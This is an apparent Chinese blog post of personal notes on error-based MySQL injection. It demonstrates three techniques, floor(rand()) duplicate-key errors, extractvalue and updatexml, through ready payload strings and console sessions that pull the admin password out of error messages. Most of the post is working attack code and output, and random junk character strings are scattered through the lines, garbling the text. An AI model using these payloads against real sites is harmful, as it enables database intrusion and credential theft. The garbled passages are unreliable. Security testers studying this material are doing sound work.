关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
4 P- B9 K& F0 r* Z% p( R& F6 b$ r​
+ I3 X( m. n( U  w
mysql> show tables;
, {( ?! E, k4 W4 \8 j! G3 Q+----------------+
& U5 C- ?1 L8 ~' i| Tables_in_test |
+----------------+
| admin          |
/ k- f" Q6 C7 z& @# D9 M| article        |
8 t7 C; o7 \) _4 u  f7 {1 J+----------------+



mysql> describe admin;
# Z. A0 Z7 J0 V, _# l) ^% g+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
: ~. `( Z* ?9 I" H% g+-------+------------------+------+-----+---------+----------------+
6 B4 X0 ]9 [; L8 S7 `" c| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
, [) g: M( P5 {! t( m$ H6 R| user  | varchar(50)      | NO   |     | NULL    |                |
7 r" r* s* _" y! Z5 z9 f| pass  | varchar(50)      | NO   |     | NULL    |                |
" n; \( |) Z; b: J+-------+------------------+------+-----+---------+----------------+



3 ]  ]0 U( W. jmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
% l4 u& v) H  F) D) s% R" O| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
( T1 M: o1 r. t可以通过如下一些利用代码
8 z3 @1 w9 [: h  u1 ^9 V& T
. r( U# A/ p  @1 K  K
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
) {" |! b1 g( o. T
  h8 V1 h, D7 p7 t6 h
9 V+ s' v' C9 \8 z6 Y% Qand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：
; ?% M. F+ h* d2 K0 A6 a
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
7 N# N/ f! T& n$ S  ?6 C|  1 | test  | do it   |
0 W1 w. P+ H4 i) g( r2 s' Q- T+----+-------+---------+
3 t- Z" a1 R$ y8 p. o9 E0 r假如id输入存在注入的话，可以通过如下语句进行报错。
! ^+ ^/ I" r6 }; u" C1 j6 _9 n, }

mysql> select * from article where id = 1 and (select 1 from
5 d5 u1 \  @3 v/ D1 x( z(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
# D" Y+ a; Q. I+ Z$ C
2 F" l. n; l' N, l
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
, [6 J$ t. m. R, @4 w, ?from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
, B  q* W2 H1 M; r2 Y2、ExtractValue
测试语句如下

3 j  b0 T% d# j0 Q; Z
4 b4 I* T& w( |: D2 t1 y9 @and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
2 h" m! ~) K& n# ~% V$ G  Z9 C! h3、UpdateXml
测试语句
0 |) r4 V+ ^; l; n7 ?- ~/ J) Y

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
9 g/ V9 s" W, c实际测试过程
- c0 N. c+ k% r* X) p
! r% ?' l; k, Z" u! P
* f0 \* ~& A+ C* [# ~- n+ wmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
! S3 q1 f% P: l9 X2 \+ F$ i4 XERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​